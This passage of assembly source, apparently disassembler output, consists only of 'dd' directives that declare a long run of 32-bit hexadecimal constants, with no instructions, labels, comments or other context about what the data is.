		dd 0DE628872h, 32D6DDF3h, 0DACA97D2h, 0AECFD9B3h, 87067BE6h
		dd 13E12B28h, 9434ACC3h, 0B1515D5h, 50F56915h, 604F7291h
		dd 75E56833h, 7071678Ch, 4E4DCF36h, 36E4AB9Eh, 6C9C691Ch
		dd 0E1C4BD0Eh, 0E549764Fh, 647A7F0Eh, 0F54D9D83h, 0AA84438Ah
		dd 0C9C2D226h, 7FD5A4Ah, 32806A6Ah, 127E6427h, 97D6DDE8h
		dd 346AE10Fh, 0A734A935h, 0A1611BD9h, 27EB9F99h, 0B980FB65h
		dd 4E34377Fh, 21F93209h, 5D8E0673h, 6283E77Dh, 0F4BFE8F7h
		dd 79F5D243h, 0EFF8847Eh, 0B035CF99h, 5809F31Dh, 55942F29h
		dd 0F6CD5F27h, 1CB382E0h, 0BAAC582Ch, 0FDADB850h, 0DCCDC89Bh
		dd 0DC53ABEAh, 1AED4A86h, 0F02004A1h, 77AA602h,	8799A1A2h
		dd 34667AE8h, 879B91F2h, 68028EE9h, 9B80AD6Ah, 0FD5711AEh
		dd 0E5F4112Eh, 9CC2FABFh, 4C23CA77h, 0E754C328h, 0D4A16D84h
		dd 8A0CBF6Ah, 78052AF9h, 3DBFCB57h, 29086E47h, 52613B9Ah
		dd 4F1C57A9h, 0FDF2AC56h, 6422245Fh, 34079970h,	2577AAC2h
		dd 860432F2h, 99C0DF5Fh, 6E9AC5C9h, 1B6500BFh, 0A44A9604h
		dd 0C07F76D2h, 40E1F17Dh, 0C55176E9h, 926CEC77h, 0DFF69A7Bh
		dd 228CB3F1h, 5C6219D2h, 9AF2332Ch, 4F2940A0h, 0AD222A1Dh
		dd 5F1C72D0h, 15B0B215h, 0E249B7C3h, 7E991CE0h,	384095Dh
		dd 51D0D6F6h, 0B1EE09AFh, 0DF4DB56Eh, 48D96F13h, 2A27B337h
		dd 6F13A4DBh, 0BA59CC60h, 0E8E8956Ah, 950E3F27h, 0ABBFBDDEh
		dd 632BBFF8h, 94A35952h, 1520ED77h, 47401F97h, 2D36C858h
		dd 36641095h, 0CD65DCBh, 33AFE3D5h, 0B6B0D1AAh,	0B771439Bh
		dd 0D2FEC267h, 863C62Dh, 35FE6AB0h, 0B173C899h,	0A4861C92h
		dd 9040BA76h, 0E24B3C40h, 0CBF1A1F1h, 8C9DDD5Ch, 0B1363D64h
		dd 8EE3AD2Bh, 403CD651h, 613FA3BDh, 0CCD2F008h,	82A7F076h
		dd 1AFE8A74h, 0B6F69F0h, 28CA60AAh, 1DD80C5Dh, 8EFB33B6h
		dd 1F5D61BFh, 7173C3C2h, 0EF34BA63h, 0DE39FC62h, 5EA32DBCh
		dd 0E08540EBh, 3E8E12F5h, 6F2A50E9h, 0C1E16783h, 0E77CAAC6h
		dd 0AEE27EDBh, 94A8C252h, 0D01FDA3Fh, 0BF57BD59h, 0BB06A8F8h
		dd 57F58B02h, 4FA4CE5Fh, 0F86AB530h, 8571A73Bh,	3A522A75h
		dd 44ABCB22h, 0C6CB326Bh, 0FE46BED2h, 2B4258C4h, 21A7EC31h
		dd 98D99277h, 80432961h, 11C3187Bh, 0CC133DB2h,	5883E069h
		dd 4524BBEEh, 0B9A5038Ch, 254AEAF0h, 37F259F4h,	237FB298h
		dd 4EAAD67Ah, 0D51F7172h, 8B27E923h, 0F2D25ACDh, 86FF0631h
		dd 0BEC79CB9h, 20A6525Dh, 0B7146636h, 1A2BD434h, 7B8BB1CAh
		dd 89EB2919h, 44D3E612h, 70EF2691h, 3A1CF24Fh, 4642288Bh
		dd 28B1189Ah, 0F5B012A8h, 0F5A26F3Eh, 2EB54A0Bh, 0A919DD97h
		dd 4706966Bh, 7F1DBB51h, 8BC6B943h, 8630F57Ah, 0D874FD07h
		dd 4BC7952Dh, 0B4B81FEDh, 6F5A4DB2h, 0DD0C212Dh, 0FD3EFA1Ah
		dd 377352Dh, 379627B9h,	8109BD11h, 2AA7F061h, 69DE34C3h
		dd 0AE079B60h, 0B68D6ABh, 0B1406963h, 9008FE48h, 1C923378h
		dd 90CCAAE3h, 5FB2D546h, 0FA0201AFh, 0B494B8CFh, 0FC333132h
		dd 1804CA1Dh, 0A5AB649Ah, 0D8AD10D5h, 0CA30C5CAh, 0EE466721h
		dd 0BD6BB3h, 8CCC7633h,	59DAFF17h, 0EBCB67Dh, 0F52EBE4Dh
		dd 426F078Bh, 0E2B04111h, 0AEB72620h, 0ED9EEF72h, 8DEC5309h
		dd 0F8572D34h, 0E39AF9D3h, 0AC1E5648h, 0DEE52F39h, 9C4FD07Dh
		dd 94B919FAh, 4F42B1FEh, 0EA211888h, 0FAAC5483h, 0A98C8F56h
		dd 39B9DBEBh, 0C1EB3357h, 1CCB15EDh, 8FC9C20Ch,	9A4A12A2h
		dd 1844B27Ch, 5B922613h, 0C40BF325h, 45122082h,	0C9BFF822h
		dd 5AB378EBh, 29C75677h, 0A16A2E92h, 0C143EF5Ch, 810B0D64h
		dd 16844B69h, 768EF970h, 74EECE05h, 0DD3CDA17h,	3AFF8587h
		dd 0D19BE534h, 7CD7CC9Ah, 0FE539F58h, 3A5EEC99h, 0D39251E0h
		dd 4C5B5C41h, 3FA2B826h, 0C7A10F5h, 0F0ACB21h, 5C0562ADh
		dd 18F671C2h, 0BB2C51A2h, 0B15828F8h, 60707236h, 766AED73h
		dd 9D57948Ch, 17CB1EF8h, 249972D1h, 94B85CD0h, 23CE4928h
		dd 0D91A540Dh, 0B91898DEh, 209C81C6h, 0AB3FBF42h, 0E2FBDD1Ch
		dd 54D3645Ch, 6AB981E0h, 0D349874h, 0F3471D5Dh,	49440380h
		dd 4754985Fh, 0A425A834h, 71A7502h, 0B63BDC53h,	8A4BFCD1h
		dd 0B6696B6Ah, 0DD27D5D3h, 31428C8Dh, 23BD88F1h, 3510FA45h
		dd 0EDBA254h, 0EBE35246h, 5572EBC0h, 0FA4B368Dh, 0C3EEF342h
		dd 96501B18h, 0A5498624h, 387A93CAh, 0B7289E59h, 8D954CFFh
		dd 0EA362B38h, 0F7825EA3h, 0DBEB14A7h, 0D8EF583Fh, 13624F08h
		dd 2F8A5C0Dh, 1DDBF62Ah, 42C476B6h, 0AECDEBC2h,	287D4727h
		dd 985BF4F4h, 0B14655E5h, 315B0D4h, 0DC5AF456h,	82486837h
		dd 33FDB3B1h, 8EBFFA27h, 39080842h, 0CDF8A68Ah,	0C222F8CDh
		dd 8C084F22h, 0B8855E1Eh, 0F1CF932Ch, 15FA2D13h, 3CF9380Ch
		dd 0D4FFDD47h, 11720DCBh, 0D6FA9F0Bh, 8A9AEE90h, 0F91F0C3Fh
		dd 55C97058h, 6D7F14FBh, 0A5FCF7F8h, 1601F2E9h,	0E0952F4Dh
		dd 0BF28C2Dh, 6D024491h, 0B8D543D2h, 6F6C5483h,	19B5A0EFh
		dd 0ACF7E0FFh, 0A1E0BFCDh, 0EBC41814h, 0D7EB2686h, 9FD30E61h
		dd 0F8CCD8E8h, 0B6F66B8Fh, 3D94EF37h, 0A84FE5F4h, 76E7040Fh
		dd 6DD3316Ch, 0CDBDB013h, 0D5ABD8DFh, 6DE5659h,	0EEFCEB88h
		dd 0B664983Bh, 5C0B64h,	0AB04EA65h, 6574D092h, 73CC52B4h
		dd 267C4E24h, 0D77A3B4Dh, 0A5D8D682h, 1B1CA92Dh, 0C4F6171Ch
		dd 33CC9742h, 135DDE72h, 7E7EF9CAh, 7D68DEF5h, 2FD8BA9Ah
		dd 0F9CD145Ah, 82797D64h, 0E594565Fh, 721356EBh, 0C6EF1767h
		dd 3E307E6Bh, 4DD27860h, 20C2BBF5h, 0EAE6AFFFh,	5F73B4DAh
		dd 0EB82ACAEh, 0BB39C84Ch, 0CE925151h, 4FE6D3B0h, 0F4A23126h
		dd 3E1E99CAh, 77271C63h, 1C1AED5Ch, 8540922Fh, 86E5E4BDh
		dd 0EB16E50Fh, 0C0BD649Ah, 5B9D9BABh, 420CD1DBh, 3FB933CCh
		dd 0C1A26B50h, 48D1A382h, 85E27321h, 0BE55C90Eh, 2FDC67h
		dd 664981BEh, 91E7D885h
		dd 85BC922Bh, 7AF8B3FEh, 38F69D7h, 43EFE895h, 261AADEFh
		dd 7C5C7A9Dh, 0BDB096Ah, 896232C0h, 0E795657Dh,	11829825h
		dd 709E6F12h, 42F694C8h, 4E0E5523h, 4CD8792Ch, 3950A1CCh
		dd 2DBE761Bh, 8D76D6C8h, 46DC107Fh, 95A1AF11h, 5F755F7h
		dd 38E7CB68h, 0E10B476Bh, 9C45FE21h, 0AC12D451h, 0B7576A01h
		dd 5226D46Ah, 0C4D0C68Eh, 0BB9ACEFh, 86D99495h,	8AD40A5Bh
		dd 331D15FDh, 0A4B8722Dh, 40CBC4C7h, 0B8FD67A5h, 597DE3ADh
		dd 0E2A2C7DCh, 0E2A8036Ah, 6FD0D422h, 0BCE566BEh, 0B3305979h
		dd 0B5545CA1h, 0A6A4FC3Eh, 5A50A111h, 0C0886F25h, 63CA3AFFh
		dd 82868442h, 0F4869919h, 0D97D4D02h, 0B6A342CBh, 96B4A1BFh
		dd 0A323D196h, 0BA0717F4h, 999816A9h, 0FBCF1114h, 37D5FA00h
		dd 36A7BA80h, 732989A5h, 0DEB874CCh, 1A4F03E7h,	913F78F1h
		dd 3EBCCA94h, 1E390FABh, 94C93E15h, 89353290h, 0E6EF892h
		dd 35B15727h, 6CDA0B96h, 0D3E1D0ABh, 5DA8EFA3h,	3EE52827h
		dd 1CA7FA8Eh, 68028E6Ah, 6B49B9D6h, 1DC2BF47h, 0FBB8C53Ch
		dd 0EBF78F3Fh, 0CEBA19BFh, 34289B23h, 82D3AEA8h, 0B6E6950Ch
		dd 663208CEh, 830C8C59h, 0C6B02EC2h, 77CC508Eh,	756E39F8h
		dd 91594C2Ah, 73274834h, 78B3578Eh, 4286BC46h, 0CBDCE15Ch
		dd 5B52E02Dh, 9395BB85h, 0A8EC91ABh, 6E551894h,	0E64228h
		dd 441FC415h, 0E99D32C0h, 4ADD56ACh, 529499C7h,	76363B9Ah
		dd 8E8E31F5h, 706E7605h, 0A3AB7A31h, 0CA67E2Ch,	0CE0E03ECh
		dd 0B2647CCCh, 0DD53D4B1h, 1BC3F5CEh, 0B7FD8133h, 726B2346h
		dd 0AF9AB6A6h, 676722Fh, 0A18BDB04h, 41836094h,	3677FE7Ch
		dd 0ED02F259h, 82A6C3F9h, 0DF8F7907h, 617EEEE8h, 4E4C41C6h
		dd 55111DC0h, 4C4C2688h, 5FB556A7h, 340D26F4h, 0F62F538Fh
		dd 0DDD29628h, 0C58C3361h, 9BDD5549h, 198291FEh, 4F2ED7DDh
		dd 69AE6CD4h, 0DAEB3ECBh, 6D728054h, 0ACE77870h, 11FA12Fh
		dd 497DA99Fh, 0DCF790Dh, 0D749C06Bh, 32D38D6Fh,	9F169F85h
		dd 0E1D05FECh, 0A59F8D6Ah, 0FC183631h, 955D33E6h, 0B5828EDFh
		dd 27C73038h, 0B8990520h, 0F7792882h, 0AA056447h, 0CE630096h
		dd 0E03AD0D9h, 140D4863h, 533601B3h, 0BF6AADA8h, 0A02644ECh
		dd 0EC3DB686h, 60641179h, 30E133DAh, 0E4986EF9h, 5FF3E9D0h
		dd 6B25F134h, 0F91A59E1h, 6B56102Fh, 0C9C1CD05h, 0CB5AAE6Ch
		dd 0D632B51Eh, 0B68C00CAh, 0A562ED64h, 0FD10B53Eh, 0A5658C55h
		dd 0F3AB0CCFh, 979E7957h, 0D177DB73h, 3F96D239h, 0AFA93990h
		dd 752A10A2h, 80054A6Eh, 0B51273ECh, 0DFE6BC01h, 4B4CF423h
		dd 0DC22A65Ch, 0A2DC2C1Dh, 0CE3BA20Bh, 36562899h, 896491F0h
		dd 22B07F3Ah, 39368537h, 1EE729F1h, 7C4A852Dh, 3573BFB2h
		dd 8D897229h, 4868CBB0h, 0BCF68A49h, 0E3C7479Ah, 7FB1F688h
		dd 0F72473Eh, 22B23FCh,	39FB9C82h, 0E4CF44B1h, 0E75B3BB6h
		dd 585E8CD3h, 379B8431h, 384C891Bh, 31B7BD61h, 0F9A01C57h
		dd 2A6AE605h, 0A6A05C23h, 0A64A0976h, 4A09C1CEh, 0D9369763h
		dd 0D1871A4Ch, 0A5144577h, 288ACAF3h, 0D1E29347h, 0E9923638h
		dd 9F6526D8h, 1FFDD3F6h, 763C2840h, 68B9C5F7h, 0C056E25Eh
		dd 13C7AC52h, 3188FDE4h, 20EED06Eh, 418140E2h, 9395E0E1h
		dd 0AC9C0E87h, 0CD9823A4h, 5BAAABCBh, 0C3B90428h, 0B3DC7F9Ch
		dd 3D9697AAh, 0A8C54502h, 0B9A286E8h, 9A0C5A65h, 182CB6F7h
		dd 27E8992Bh, 2CDE57CCh, 0A6499600h, 7D8C7019h,	0F4BEB1FAh
		dd 0CF1CC042h, 3DC0F2A8h, 7B5A60E3h, 304C6192h,	2D26A712h
		dd 0E905E1BCh, 7963D348h, 1B10FFC6h, 7596A11Eh,	5805D7EEh
		dd 40B8A0C4h, 6E315AEFh, 0F6FCCD5Ah, 78D1841Eh,	0C2E60C43h
		dd 0B85B5DE0h, 0C41076BBh, 0C9FA91E7h, 17E5F657h, 0FA0A6C5h
		dd 53967CFCh, 457B0FF7h, 159F0491h, 0F97D6435h,	249C7ACAh
		dd 3358CDD0h, 0E9B8A314h, 7B9B5212h, 5FF9F047h,	0CE9BA242h
		dd 62CE0580h, 33F22F6h,	0BBC8D545h, 3EE1F7AFh, 0F7AB105Fh
		dd 9122E90Bh, 21855124h, 2CE774DFh, 49870E82h, 93713EC6h
		dd 0C9ED8C82h, 2F1DB9E2h, 32CDE4BCh, 344FA13Fh,	0DD370D36h
		dd 576A9A99h, 448B0C07h, 6ADDCDBAh, 634ECFAh, 0D674539Dh
		dd 0E1D386CBh, 0D9E7DA31h, 0A46125FBh, 0F241F670h, 409F9497h
		dd 0DEE68EE5h, 37F787EAh, 4CC88BD4h, 0E267103Bh, 568D589h
		dd 551331B4h, 0AEF240EEh, 0B7E81309h, 0BD888BEEh, 44EFCBB5h
		dd 7BF92239h, 870C611h,	3DADEC64h, 5E16F2CCh, 9EFA576Ah
		dd 0C28D63B0h, 8271DA46h, 0EB7C9FF0h, 0F1D4CC79h, 0B254D78Ah
		dd 0BD301E4Ah, 8EFCD554h, 488F81DDh, 3A701F91h,	77D8E521h
		dd 4598E725h, 0B85E721Ch, 4483F425h, 196E9A9Eh,	55EE4C0h
		dd 82C62C7Eh, 6441885Eh, 5698236h, 2FAEDD8Ch, 0BB32C80h
		dd 3BA1D6D8h, 0C03548BCh, 2CDD9BEDh, 0E336FAFCh, 0DD1F0657h
		dd 0B2757B33h, 0FBD8DDDFh, 45D8A1CEh, 0D6008E3Bh, 0C5925B12h
		dd 0A661A8D4h, 1ED478D8h, 0F67CC358h, 58A5EF64h, 0A1B7F480h
		dd 93E13BB7h, 2DC8A4D1h, 0F23032E5h, 0CBAC1DF3h, 0A7F7F2B3h
		dd 4AAB17BDh, 7CA60AD6h, 0A182A9B0h, 492D4CD7h,	5F68DC33h
		dd 0FEB90E7h, 0B0A9CD0Bh, 0A212CB96h, 63284FBBh, 0D62FDFC1h
		dd 0F9135F55h, 7695DF40h, 82DBBB8Ch, 59FA5227h,	6A6D65B9h
		dd 0ED51405Bh, 61FE31E6h, 0D0147C91h, 66EE3ECEh, 986F38A7h
		dd 1B7B65C1h, 0A775583Ah, 597CE81Eh, 1CC6DD2Ch,	735A2A9Ah
		dd 38EA715Eh, 9D2405C2h, 23DEC27Ch, 0AAB0217Bh,	4360625Eh
		dd 58C4E9A7h, 6CD0E8FDh, 1261EF25h, 0B5F25458h,	0E91F1897h
		dd 0B67371A0h, 55603F95h, 0F185198Ch, 0DB02CB63h, 0C8AEB7B5h
		dd 27BADBFCh, 8379D410h, 6CAE0523h, 28D98A31h, 34A227EDh
		dd 0D4388638h, 5AB7336Eh, 172ADEh, 624E8E6Bh, 0D771109Eh
		dd 0BD5E970Ah, 86FF111Dh, 2F3374BEh, 634E0590h,	2006B42Bh
		dd 7426B89Ch, 1C46214h,	0E29E736Eh, 0E715CE67h,	6DCD3E03h
		dd 0AD3152A3h, 78D48E07h, 1B2FD0C0h, 0BA424B67h, 0C9D7C5E5h
		dd 0F72E3224h, 0B4C9F09Eh, 7E809FD1h, 0F0D2396Fh, 0FC20C254h
		dd 7E8B6291h, 337B5189h, 840E9BC6h, 67C92792h, 0CAC64A90h
		dd 0CB78B4BBh, 209C36E1h, 1E1E7139h, 0ACA1CE2h,	37BCD573h
		dd 2AA9B0E4h, 8CFA9C15h, 47A9BB62h, 85E5B81Ch, 69CF55A3h
		dd 0ABFF6547h, 0B4D24972h, 0E944F015h, 0BAD6F520h, 0A06338C7h
		dd 2A32B29Fh, 213D45B3h, 3C23037Eh, 44AC4879h, 0D677A806h
		dd 468A8AF8h, 3EC3CEB3h, 0C8B3BA8Dh, 0D0567D06h, 9CFD2345h
		dd 0A398C371h, 8234478Bh, 30BCB40Eh, 0F4F364A7h, 0BE757A5Bh
		dd 3E925CD0h, 592240BFh, 0B7BB5B14h, 0C6379F47h, 0FBFBA709h
		dd 4E7FF8F5h, 1AF3769Bh, 0B58BDCFh, 0BB7DEE17h,	289D3982h
		dd 0E1A5D714h, 6CF5E60Bh, 0F9C3A9FBh, 91371B73h, 4FDDA8ACh
		dd 6A2EBB0Dh, 868A8FF9h, 0DB07EDCAh, 1181B3C1h,	93B9F5D0h
		dd 34A3A05Ah, 5D5AAF42h, 0BEB49CE2h, 0B839421Ch, 0D4A2E687h
		dd 0F10742D0h, 76E6E329h, 0F496ABB7h, 2276EF06h, 7A58D7CAh
		dd 21A31AD4h, 9197A730h, 36347CB5h, 0EDDEA151h,	0D1154145h
		dd 0BB51EB37h, 63B830E7h, 7C94190h, 868D79B0h, 403451EFh
		dd 4A5E279Fh, 870E5710h, 87F08D98h, 70594EA2h, 410C2BB7h
		dd 9E580188h, 0D7C0D546h, 5977BEC8h, 0B124FA86h, 56937337h
		dd 9F23B8F5h, 25536202h, 23065B11h, 4389AB6Bh, 44659AC7h
		dd 95A8F22Ah, 0F0FAD328h
		dd 72C61F34h, 0B948F0BFh, 81A9649Fh, 0B11ED77Eh, 7E8140EEh
		dd 0DE80174Eh, 0C751D13h, 1E3957DDh, 0D85B9E77h, 128E8817h
		dd 4FE2775Ch, 95D9DE0Ch, 85EB1233h, 0BF2C084Bh,	0A303EBABh
		dd 0E71E8FEAh, 3EE477F8h, 0FCCF1B4Dh, 9E9641B4h, 0EDDACC8Ah
		dd 22197E33h, 391DC2DEh, 98098789h, 3517A727h, 34BBB86Dh
		dd 718E30A6h, 0DA00276Ch, 90CC4020h, 35707C29h,	5E17BEA5h
		dd 5C60EC56h, 59A31D21h, 608A9C2h, 0F15C001Fh, 0DDA1C57Bh
		dd 0E61D9666h, 816587D5h, 54CB520Eh, 0CD21DA68h, 0C847F53Ah
		dd 227996Ah, 0E37FA6C2h, 0D45297E6h, 1A3DFC7Fh,	4DF4D6D5h
		dd 9A24C5CBh, 70811380h, 57C6D59Ah, 0CC0EDEB5h,	71861441h
		dd 0F3D3E7B5h, 0D342B19Ah, 6D5944C7h, 0CB6B33EDh, 8A4C64BCh
		dd 0F5BC9998h, 0D5B1A056h, 5C1A3BDEh, 0A0BA0875h, 6528F42Ah
		dd 0B512AAD9h, 0D3869F52h, 28A0BD76h, 0D1E6088Fh, 0DE35DE29h
		dd 0F31DF46Eh, 0B838AD6Eh, 0E354E1E2h, 0EE25F68Bh, 0ABBB0B01h
		dd 0DA399908h, 4D755C6Eh, 0F46A097Ch, 34132B4Fh, 72A685B3h
		dd 54827D7Ch, 90D31721h, 0ECEB9074h, 0CB0C5813h, 0C7D0326h
		dd 0CB8C1452h, 0B44CE0E4h, 0E7A378Dh, 0C7C2B9A3h, 0EEDD7999h
		dd 50B60C9h, 9C45F5FDh,	0B301F870h, 92E4BC79h, 625E2E1Dh
		dd 0EE3A8712h, 0A78BEE26h, 13B11CB6h, 2CED78DDh, 0AF30B0Ah
		dd 0FE70F3D0h, 0FDB32A60h, 1D224C4Eh, 6FCFD77Bh, 0ECE68080h
		dd 0C61C9456h, 5C2012F6h, 32706A16h, 2FBA049Ch,	4C25A7CFh
		dd 0BAD9AFC2h, 7B69D129h, 0ED3FEB0Fh, 0ED69E290h, 0F255155Ch
		dd 4780F8ACh, 2C8834BCh, 0B83F23D7h, 3E20BD29h,	0DCAA94FAh
		dd 175287E0h, 0F313C723h, 9BC4E81h, 4F6A54CBh, 53C6ED80h
		dd 2D8A5B2Eh, 0C4B7D9BAh, 3731B213h, 4149FC07h,	2B7CD07Dh
		dd 811CB124h, 3718B6BEh, 991B6686h, 285910E0h, 0CC50C4E9h
		dd 3F8880BAh, 18E57F74h, 0F5852896h, 5301F8CBh,	30D51CAFh
		dd 19A85A97h, 0B1B968Dh, 724516C3h, 44273CC6h, 0C027ADAEh
		dd 94B92CA6h, 0D11128C6h, 0EC4142C0h, 0D167A47Eh, 820B368Eh
		dd 28139D2Dh, 0AB9E3F97h, 2B6569DCh, 5773F522h,	2CF0F313h
		dd 0D7F8FAE9h, 0E7321D25h, 9BB3B836h, 0E2A27490h, 0BDE3AC46h
		dd 0A99694DDh, 59F3A3C1h, 8931FC72h, 4703ECF0h,	0CA58C2E8h
		dd 0E0C52DBEh, 9A35E982h, 993CAF65h, 0E49D0501h, 90AE77E6h
		dd 0BC1547FCh, 0BC9CD2B0h, 6C02C358h, 0D01BC350h, 0CCDBD589h
		dd 1E5CC400h, 0F437052Dh, 0AA171495h, 969CF17h,	24BE076Dh
		dd 2401360Dh, 0D829DB93h, 0C2941DD3h, 78111D65h, 358660Dh
		dd 37112695h, 0ACE4EA15h, 0D659A4A8h, 0DAAEA834h, 0C5D0F473h
		dd 34BBEF37h, 0AF8E2546h, 76C73037h, 2C13EB3Bh,	0A29DD373h
		dd 1AFD4178h, 56039C91h, 41A04D4Dh, 3A308FA0h, 8509BBF9h
		dd 4E9ED911h, 65D783C0h, 91908492h, 0CF546C05h,	478DB499h
		dd 6E6E42AFh, 0F981977h, 2ABF2526h, 0E715C3BCh,	0EAFC288h
		dd 8F0184D7h, 11D972Fh,	3C25F886h, 7DAA735Eh, 770E2124h
		dd 253819C3h, 28F89179h, 0F2EA3F4Ch, 9664973Dh,	0A4BA749Eh
		dd 199F110Bh, 3B0B820h,	3F59073Ah, 36146B07h, 0CA42A8F4h
		dd 0F8DDDF53h, 0C6A20DE8h, 0C5E17AE1h, 233E601Eh, 97FCF3C1h
		dd 8A248FC5h, 308913FBh, 907DE349h, 28E9F6E6h, 0DBB8AD99h
		dd 6BF16382h, 7B6D3CC4h, 0BD96E0DEh, 4997FA40h,	0FE590F57h
		dd 32B5EA7Fh, 17C86FDAh, 3FAE0E1Bh, 0F96DCA64h,	0B2F82747h
		dd 0E6DD3A05h, 82B91624h, 81849000h, 2D1D5090h,	7B2F31Dh
		dd 40F04171h, 0A1838832h, 9B97C9E2h, 840BBCFCh,	0F645FA1Ch
		dd 52710E03h, 487E5B99h, 121BB112h, 1CB7861h, 0E12CE95h
		dd 77ED4F53h, 0EB11BA51h, 388E7B49h, 0A84B3D65h, 0FCC7369h
		dd 3EA6DA9h, 0EE58ADCFh, 0FD1487C4h, 65AC8E5Eh,	33667B77h
		dd 0D85AA670h, 67561E5Ah, 0DEEE95B3h, 0E04E3AD5h, 34A5FD3Ch
		dd 912FCC76h, 387620C1h, 0E803CBDh, 66BA51B4h, 0D4EDE221h
		dd 0CD0AF6DAh, 7B9DA3F0h, 8A443727h, 99468B31h,	6FFDB460h
		dd 115FD003h, 25B2736Bh, 2A6878BEh, 0BCAA7E64h,	0E78815B3h
		dd 0AD658175h, 5889E23Dh, 0C908F365h, 0F5D7FFB5h, 621824C1h
		dd 531AD0B6h, 1F191B1Bh, 0A14CE943h, 4B5B2FECh,	70440950h
		dd 0EF49F39Dh, 0C30EA1Bh, 68E8AEDAh, 0AA259D89h, 1EA59CFEh
		dd 937476F9h, 1D33AE81h, 417F0ABBh, 46D1A26Fh, 0FB18881Eh
		dd 63566055h, 53AEDC04h, 6132FB60h, 0A57CABFDh,	0F408FC5Fh
		dd 9233B612h, 0D9F99D0h, 5EDF815Fh, 5540C652h, 0BB11CC21h
		dd 5DB66279h, 9C3F7E49h, 0D33FB7ABh, 55060C8Bh,	0A4800E07h
		dd 0C09743DEh, 91C9AAB2h, 67256910h, 0C43B71Dh,	173B78F7h
		dd 1C9D0B0Ah, 0C3338CD7h, 0CBD0E64Bh, 7AD912Ch,	0B13FAD3Ch
		dd 0C351B0CBh, 80A3FD61h, 7394A244h, 0CE7138ECh, 704EC667h
		dd 0E17E95EDh, 5089C170h, 203C8A9Bh, 63455988h,	3FD51565h
		dd 2D90F1F8h, 86446E21h, 3C3A0943h, 0CD1406D3h,	0EAB7420Dh
		dd 0E9DE9C9Fh, 2FFBCE67h, 94145391h, 1757A2AFh,	0A34DE98Dh
		dd 53098DCDh, 46DD8852h, 6A3942EAh, 313F5Dh, 22707132h
		dd 5AB04B54h, 85B5796Dh, 26D15E7Bh, 79EAA75Fh, 0F2522196h
		dd 90D44BE8h, 0D99EEBDFh, 699F135Bh, 5363628h, 3646D0Bh
		dd 1D883CEEh, 0FE2D56D8h, 7A940C0h, 0FEDAFE0Fh,	0E5041BF1h
		dd 0C8A2F223h, 0EC885C6h, 2C0545E2h, 0F3148B2Bh, 0A08E0181h
		dd 3504E2DFh, 21242B88h, 829A3975h, 57D52D1Dh, 0DFE13D34h
		dd 0BB479777h, 4F904847h, 814484FAh, 0F7EA4C9Ah, 51E3E986h
		dd 0E27B8ACEh, 0EC30309h, 1D9F0702h, 0F96B325Fh, 0E225190h
		dd 0DDF17586h, 0FB61E730h, 1727D13Dh, 2151B167h, 0DE85ECE0h
		dd 0D80EAE57h, 0FA3F3D62h, 1E56F10Fh, 2B9C930h,	0AED67BAEh
		dd 17905ABAh, 2AA9692Bh, 0B020267Ch, 0E9597384h, 4B2252EDh
		dd 0C93FBCE4h, 31E5233Ah, 61898C16h, 0EC305367h, 5FF31555h
		dd 0CC467A38h, 7BD48382h, 0AD621E61h, 0A905C8D6h, 0E6E2943Bh
		dd 0F9EB9CE9h, 0DF3A6F5Ah, 313FA8D3h, 0FDD41225h, 58E1F46Fh
		dd 0D62C8290h, 0D82C338Ah, 0AC9821BCh, 0C2F0D226h, 7FE81857h
		dd 0A251ACF3h, 60415FBFh, 830A84B3h, 0CA76E914h, 0AB150377h
		dd 344FBEB5h, 0CDC1C712h, 985856E6h, 95B20B37h,	9E73112Eh
		dd 0BD20D909h, 0EECC70FBh, 6661C7BDh, 3106C602h, 0EB3E84E4h
		dd 54EC8726h, 0CD59FB94h, 0BCA7A145h, 0F4697DC2h, 320B7965h
		dd 70A9F2B8h, 7099A6F2h, 49F532E3h, 4C4FA20Fh, 3C96A68Fh
		dd 424F97DDh, 7E0D98A2h, 0ECF414E9h, 63D95679h,	57F43D43h
		dd 97D2F7B2h, 4FAC77Eh,	0E9400E2Ah, 6B7AD638h, 0EA545901h
		dd 87E63710h, 80F4F0DEh, 739E1A88h, 84E2BC8h, 909BCA66h
		dd 4FAD940Fh, 7156092Bh, 67C14E37h, 36599C3Dh, 0FF2E8A64h
		dd 0A89A4B38h, 0EC370D69h, 0B50DC6ECh, 53C80D4Fh, 5FA2D4DBh
		dd 6E677E34h, 9FD198EAh, 54952EAEh, 24D9D18Eh, 0A133CF73h
		dd 0AEE93808h, 3AACD49h, 9F0F2EAFh, 0E85E9C5Ah,	7D8E6613h
		dd 6D1D4358h, 399B1ED5h, 2A8CCA9Dh, 1E104FEFh, 234FD149h
		dd 0BBAF109Ah, 7009FB76h, 0F8D84264h, 0CBECBCEDh, 0D8CF1DFDh
		dd 0AB2E2C77h, 431F0D3Dh, 0D88F87E2h, 0D53638E0h, 0FAD927C7h
		dd 2657AE04h, 0E0A347D8h, 0C2023A68h, 2AC2A960h, 0E2EA32FBh
		dd 0CA59D9E1h, 0A4CFB41Fh, 41503A0Ch, 6DCFA61Ah, 0E6DAAF1Ch
		dd 0E2F81D2Ch, 0CE9EDAFDh
		dd 9700C4CDh, 0E8DE0DEAh, 0A4315572h, 9D4B559Eh, 0DDF7BFDDh
		dd 81D96616h, 6D6BF4F7h, 17EC556Eh, 66478CB7h, 868B7509h
		dd 0F73BD5E4h, 70A3E4D3h, 0B6CC4CFBh, 0FAF16FB7h, 0E1854824h
		dd 0FD7DE787h, 970593ACh, 0FA9230A2h, 6B524207h, 0C893E2AFh
		dd 0D0FECD55h, 34A07272h, 0D3DB207Ah, 0DE8DC493h, 0B40F85F9h
		dd 0B60A82C2h, 0C343EE70h, 0B5DB4B8Ch, 8B847890h, 5F54682Bh
		dd 0D200E2C4h, 8FBDB71Bh, 13F8632h, 46CB9DE4h, 7BF6ABDFh
		dd 9E1F4681h, 0C5C98F87h, 604A2D3Ah, 37C5977Fh,	78B2CF22h
		dd 78CCC646h, 26749F24h, 4F5BFEB6h, 0FA1780C4h,	55C24FD5h
		dd 0DD07CDEh, 0DCB57CCDh, 0D870E45Fh, 61AD1E78h, 7E74E096h
		dd 23D3C269h, 0FDAA5CEDh, 1A4BE7F5h, 6C56A72h, 0C3661531h
		dd 0FB8B3DA6h, 43DF2DD5h, 0EF913641h, 0E4E72B15h, 0A106569Ch
		dd 5F913287h, 0E90A7AFh, 8DC09318h, 161FD69Dh, 0C9F684F5h
		dd 421970B2h, 0AAAA539Fh, 0CD840ACFh, 8D1F0F3Bh, 0E8B304DEh
		dd 0D86381DEh, 1918E9Dh, 0FF1A5FCDh, 0BD6997E2h, 34E46A77h
		dd 32C3652Bh, 38138DE4h, 0F65B1512h, 0A04C2CEBh, 0DF31D983h
